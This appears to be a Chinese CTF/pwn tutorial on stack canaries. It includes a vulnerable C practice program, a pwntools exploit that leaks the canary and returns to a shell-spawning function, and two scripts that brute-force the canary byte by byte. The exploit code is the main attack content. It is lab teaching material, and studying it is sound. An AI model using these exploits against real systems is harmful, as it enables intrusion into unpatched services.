先简单介绍一下canary:
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中获取一个值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将执行___stack_chk_fail函数,继而终止程序。
需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作
- Canary值在rbp到rsp之间(并不一定是rbp-8的位置)
- Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来
- Canary值如果被改写,程序会崩溃
开启 Canary 保护的 stack 结构大概如下:
Canary绕过方式一般canary有两种利用方式
1.爆破canary
2.如果存在字符串格式化漏洞 / 通过函数打印出4/8位的canary并利用溢出覆盖canary从而达到绕过
补wiki坑:(这里是第二种方法)
利用实例:
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译为 32bit 程序,开启 NX,ASLR,Canary 保护
找出canary值的思路:
根据canary特性知道canary也会进行压栈所以canary的值应该会在栈的附近,我们就可以canary赋值给edx之后进行下断,通过edx的值来得到canary的值。
把程序载入gdb进行调试,在printf处下断:
EXP
#!/usr/bin/env
from pwn import *
context.binary = 'ex2'
io = process('./ex2')
get_shell = ELF('./ex2').sym['getshell']
io.recvuntil('Hello Hacker!\n')
io.sendline('A'*100)
io.recvuntil('A'*100)
Canary = io.recv(4)
Canary = Canary.ljust(4,'\x00')
Canary = u32(Canary)-0xa
log.info("Canary:"+hex(Canary))
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
#发送12个padding来覆盖canary的8个字节大小,4个ebp大小
#
# payload = buf + canary + canary到返回地址的大小 + 返回地址
io.send(payload)
io.recv()
io.interactive()
插曲:最开始用了wiki上的脚本报错——>unpack requires a string argument of length 4,度娘搜索之后发现就是字节没有对齐,https://blog.csdn.net/wxl2578/article/details/51511401,加上Canary.ljust(4,'\x00')就ok了。
总结
Leaks Canary
思路: 由于Canary以\x00结尾,通过覆盖\x00为其他字符再借助其它函数将其打印出来。
适用场景:
1.存在栈溢出以及Canary保护
2.有相应的打印函数(任何形式的输出都可以)可利用
3.且在同一个Canary下至少能利用两次溢出,一次获取Canary另一次控制RIP
要注意的:
1.编写脚本利用时,由于字节对齐,机器位数(32bits/64bits),ASLR等因素的影响,实际栈区的布局要根据实际情况来调整和计算偏移
2.address(old_ebp) - address(canary_value) = len(padding+old_ebp)
参考链接:http://inotahacker.cn/index.php/2019/06/26/canary/
第一种方法:One-by-one Blasting
思路: 已知Canary的总位数,每一位字节有256种可能的组合,(8位,每位两种)爆破得出结果。
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:(摘自Wiki)
print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary
以下代码为https://blog.csdn.net/aptx4869_li/article/details/78884099上的一个爆破canary脚本:
from pwn import *
# blasting canary
canary = "\x00"
padding = "a"*104
for x in xrange(7):
for y in xrange(256):
p = remote("127.0.0.1", 5555)
print p.recv()
p.send(padding+canary+chr(y))
try:
info = p.recv()
print info
except:
p.close()
continue
p.close()
break
canary += chr(y)
print "success get blasting!"
print canary.encode('hex')